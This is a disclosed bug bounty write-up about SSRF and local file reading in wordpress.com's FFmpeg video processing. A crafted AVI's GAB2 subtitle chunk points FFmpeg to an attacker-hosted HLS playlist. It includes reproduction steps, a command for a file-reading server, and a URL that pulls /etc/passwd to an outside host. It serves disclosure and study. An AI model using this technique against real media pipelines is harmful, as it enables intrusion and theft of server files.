# SSRF and local file disclosure in https://wordpress.com/media/videos/ via FFmpeg HLS processing

FFmpeg HLS processing on wordpress.com video uploads allowed SSRF and local file disclosure via crafted AVI with GAB2 subtitle chunks referencing external playlists.

- Payout: hidden
- Severity: high
- Program: Automattic
- Found by: neex
- Disclosed: 2017-07-29
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/237381
- Library page: https://bugbountylibrary.com/r/h1%3A237381
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:high tech:php technique:source-review vuln:info-disclosure vuln:ssrf

**Target:** FFmpeg video processing pipeline on wordpress.com media upload
**Root cause:** FFmpeg processes HLS playlists referenced from GAB2 subtitle chunks inside uploaded AVI files, fetching external URLs and concatenating segments, without restricting protocols or hosts.
**Steps:**
1. Modify `http_q.avi` in a hex editor, changing the embedded URL `http://45.55.40.92/ssrf_test` to an attacker-controlled server, preserving binary layout by adjusting `#` padding in the comment line.
2. Upload the crafted AVI to `https://wordpress.com/media/videos/<blog>` (paid account required), select it, click Edit, and wait.
3. Observe inbound HTTP request from Automattic IP (e.g. `192.0.87.12`) with User-Agent `Lavf/56.25.101` confirming SSRF.
4. For file read: run `file_reading_server.py --external-addr <ip> --port 8080`, point the AVI URL to `http://<ip>:8080/initial.m3u?filename=/etc/passwd`, upload and click Edit.
5. Retrieve the dumped file from the script's working directory named `<random>_<filename-without-slashes>`.
**How found:** Researcher knew FFmpeg processes HLS playlists with external references and hypothesized that subtitle chunks (GAB2) inside AVI could smuggle a playlist URL past upload validation, then tested SSRF and file-read via a custom HLS server.
**Exploitation:** Attacker uploads a crafted AVI whose GAB2 subtitle chunk references an attacker-hosted HLS playlist. FFmpeg on Automattic conversion nodes fetches the playlist, follows segment references, and concatenates them; by serving a playlist that references local files (file:// or via the script's redirect logic), the attacker exfiltrates node-local files back through the SSRF channel.
**Insight:** Video/audio processing pipelines that accept container formats with embedded subtitle/metadata chunks can smuggle URLs into FFmpeg's HLS/concat demuxers; test GAB2, SSA/ASS, and playlist references inside otherwise innocuous media files to reach internal fetches and local file reads.

## Proof of concept (copied exactly from the original report)

**AVI with GAB2 subtitle chunk triggering FFmpeg HLS SSRF**

```
1. Open attached file `http_q.avi` in a hex editor and find http link (currently it's `http://45.55.40.92/ssrf_test`). Modify it so it points to a server under your control. **You need to keep binary layout of the file, so you might want to add or remove some `#`s from the comment on the line below**
```

**Upload modified AVI to trigger SSRF request**

```
2. Go to https://wordpress.com/media/videos/<your blog>. **You need paid account to make this work**. Upload the resulting video, then select it, click "Edit" and wait a little bit.
```

**file_reading_server.py HLS playlist file disclosure exploit**

```
1. Get a droplet/VPS/whatever with an external IP. Launch my script like this: `python3 file_reading_server.py --external-addr <external-ip-of-your-server> --port 8080` (you'll need python3.5).
2. As in SSRF repro step 1, modify `http_q.avi` so the link inside it will point to your server and be like this: `http://<external-ip-of-your-server>:8080/initial.m3u?filename=/etc/passwd`
```